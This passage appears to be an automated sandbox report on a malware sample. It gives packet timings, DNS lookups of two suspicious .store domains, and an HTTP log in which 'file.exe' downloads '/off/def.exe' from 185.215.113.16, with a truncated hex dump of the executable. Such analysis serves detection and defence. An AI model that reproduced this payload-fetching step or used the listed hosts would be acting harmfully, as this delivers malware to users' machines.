Oct 28, 2024 08:18:20.808114052 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.808121920 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808155060 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808188915 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808222055 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808255911 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808257103 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.808290958 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808325052 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808357954 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.808358908 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808389902 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.808394909 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808429003 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808459044 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.808463097 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808495998 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808526039 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.808531046 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808566093 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808593988 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.808599949 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808634043 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808665991 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808697939 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808716059 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.808732986 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808767080 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808799982 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808823109 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.808832884 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808867931 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808897972 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.808904886 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808938026 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808965921 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.808971882 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809005976 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809036016 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.809040070 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809073925 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809099913 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.809108019 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809142113 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809169054 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.809175014 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809199095 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.809206963 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809242010 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809274912 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809310913 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809340000 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.809344053 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809376955 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809406042 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.809410095 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809444904 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809463024 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.809478998 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809513092 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809545040 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809578896 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809608936 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.809608936 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.809612036 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809645891 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809679031 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809711933 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809735060 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.809746027 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809779882 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809808016 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.809813023 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809849024 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809868097 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.809883118 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809916973 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809950113 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.809983969 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810017109 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810038090 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810050011 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810077906 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810084105 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810118914 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810153008 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810180902 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810185909 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810220003 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810247898 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810255051 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810287952 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810306072 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810322046 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810349941 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810357094 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810389996 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810419083 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810421944 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810455084 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810483932 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810488939 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810523033 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810549974 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810555935 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810590029 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810616970 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810623884 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810657024 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810684919 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810689926 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810724974 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810753107 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810758114 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810791016 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810820103 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810823917 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810858965 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810889006 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810892105 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810925961 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810952902 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.810960054 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.810993910 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811022043 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811028004 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811062098 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811078072 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811095953 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811132908 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811167002 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811199903 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811230898 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811233997 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811269045 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811305046 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811336040 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811361074 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811393976 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811420918 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811427116 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811460018 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811487913 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811494112 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811528921 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811557055 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811563015 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811597109 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811625957 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811630964 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811660051 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811665058 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811681032 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811696053 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811712027 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811719894 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811726093 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811737061 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811739922 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811760902 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811769962 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811775923 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811791897 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811805964 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811811924 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811820984 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811836004 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811840057 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811846972 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811861038 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811863899 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811872959 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811881065 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811887980 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811898947 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811908007 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811912060 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811923027 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811935902 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811943054 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811947107 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811959028 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811969995 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811970949 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811979055 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.811983109 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.811995983 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812007904 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812007904 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812021017 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812027931 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812036991 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812048912 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812058926 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812063932 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812077045 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812089920 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812102079 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812110901 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812113047 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812119961 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812124014 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812135935 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812145948 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812146902 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812158108 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812170029 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812180996 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812184095 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812195063 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812206984 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812208891 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812215090 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812221050 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812233925 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812242985 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812246084 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812258959 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812268972 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812272072 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812283039 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812283993 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812295914 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812309027 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812320948 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812320948 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812329054 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812335968 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812347889 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812360048 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812370062 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812371969 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812383890 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812396049 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812396049 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812403917 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812407970 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812418938 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812428951 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812432051 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812443018 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812453985 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812455893 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812469006 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812480927 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812490940 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812491894 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812505960 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.812515020 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.812669039 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.835881948 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.837210894 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:21.305166006 CET	49764	80	192.168.2.5	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 08:17:12.421777964 CET	50600	53	192.168.2.5	1.1.1.1
Oct 28, 2024 08:17:12.432207108 CET	53	50600	1.1.1.1	192.168.2.5
Oct 28, 2024 08:17:12.438353062 CET	53825	53	192.168.2.5	1.1.1.1
Oct 28, 2024 08:17:12.453965902 CET	53	53825	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 08:17:12.421777964 CET	192.168.2.5	1.1.1.1	0xf35	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:17:12.438353062 CET	192.168.2.5	1.1.1.1	0x8677	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 08:17:12.432207108 CET	1.1.1.1	192.168.2.5	0xf35	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:17:12.453965902 CET	1.1.1.1	192.168.2.5	0x8677	No error (0)	crisiwarny.store		104.21.95.91	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:17:12.453965902 CET	1.1.1.1	192.168.2.5	0x8677	No error (0)	crisiwarny.store		172.67.170.64	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

crisiwarny.store

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49764	185.215.113.16	80	6292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 08:18:15.126024961 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 28, 2024 08:18:16.022633076 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Oct 2024 07:18:15 GMT Content-Type: application/octet-stream Content-Length: 2869760 Last-Modified: Mon, 28 Oct 2024 06:09:16 GMT Connection: keep-alive ETag: "671f2a8c-2bca00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2c 00 00 04 00 00 ab 54 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@, `@ ,T,`Ui` @ @.rsrc`2@.idata 8@aisygwgx+j+:@pdrbgaqy ,+@.taggant@@,"+@
Oct 28, 2024 08:18:16.022725105 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 08:18:16.022736073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 08:18:16.022747993 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 08:18:16.022767067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 08:18:16.022779942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 08:18:16.022793055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 08:18:16.023684978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 08:18:16.023696899 CET	972	IN	Data Raw: 6e b6 4a 5a 3c da 56 67 47 a7 40 3e f5 8e 15 f4 9d a5 b6 cf aa 99 4e 30 07 7c 5d 53 50 2a 39 24 cf 76 70 61 5d a6 71 7e 88 c5 53 9a a7 bc 59 ec b1 7a 1f 51 61 0f e1 68 6c fb f1 fc 50 7e 79 62 65 88 5b c6 78 c3 7c 64 4b 83 80 13 ec 1c 3d 98 08 a1 Data Ascii: nJZ<VgG@>N0\|]SP*9$vpa]q~SYzQahlP~ybe[x\|dK=eWBvfzclKLK)Z6FFLiFOG{}Y_Jh~LR\8~)fG^~K$rAl_U9G\|mKdyfC]e'uaw3L_\w
